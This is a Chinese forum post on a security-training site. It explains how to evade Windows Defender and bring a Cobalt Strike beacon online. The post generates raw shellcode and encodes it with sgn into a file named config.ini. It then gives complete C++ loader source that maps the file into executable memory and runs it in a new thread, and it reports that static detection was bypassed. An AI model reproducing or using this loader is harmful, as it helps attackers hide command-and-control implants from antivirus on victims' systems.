找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 59|回复: 0

[原创] 绕过defender上线cs

[复制链接]

91

主题

0

回帖

371

积分

管理员

积分
371
发表于 2025-12-12 15:54:17 | 显示全部楼层 |阅读模式
绕过defender上线cs

一、前言
文件分离执行 可以过掉defender的静态查杀。


二、文件加密
用cs生成一个x64的raw
使用sgn工具对raw文件进行加密
  1. sgn.exe -i payload_x64.bin -c 5 -o config.ini
复制代码
三、编写加载器
编写一个加载器
  1. #define _CRT_SECURE_NO_WARNINGS
  2. #include <Windows.h>
  3. #include <iostream>


  4. void T(LPCSTR NAME)
  5. {

  6.         //读取文件
  7.         HANDLE hFile = CreateFileA(NAME, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);

  8.         if (hFile == INVALID_HANDLE_VALUE)
  9.         {
  10.                 printf("CreateFileA failed: %lu\n", GetLastError());;


  11.         }
  12.         DWORD dwSize = 0;

  13.         dwSize = GetFileSize(hFile, NULL);  //获取文件大小

  14.         //申请内存
  15.         LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  16.         if (lpAddress == NULL)
  17.         {
  18.                 printf("VirtualAlloc failed: %lu\n", GetLastError());;

  19.         }
  20.         DWORD dwRead = 0;
  21.         //读取文件到内存
  22.         ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);
  23.         //创建线程

  24.         HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpAddress, NULL, 0, NULL);

  25.         //等待线程执行完毕
  26.         WaitForSingleObject(hThread, INFINITE);
  27. }




  28. int main(int argc, char* argv[])
  29. {

  30.         if (argc < 2) {
  31.                 printf("参数不对");
  32.                 return 1;
  33.         }
  34.         T(argv[1]);

  35.         return 0;
  36. }
复制代码
静态查杀过了。
成功上线









本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|暗月安全培训论坛

GMT+8, 2026-1-8 16:41 , Processed in 0.056350 second(s), 20 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表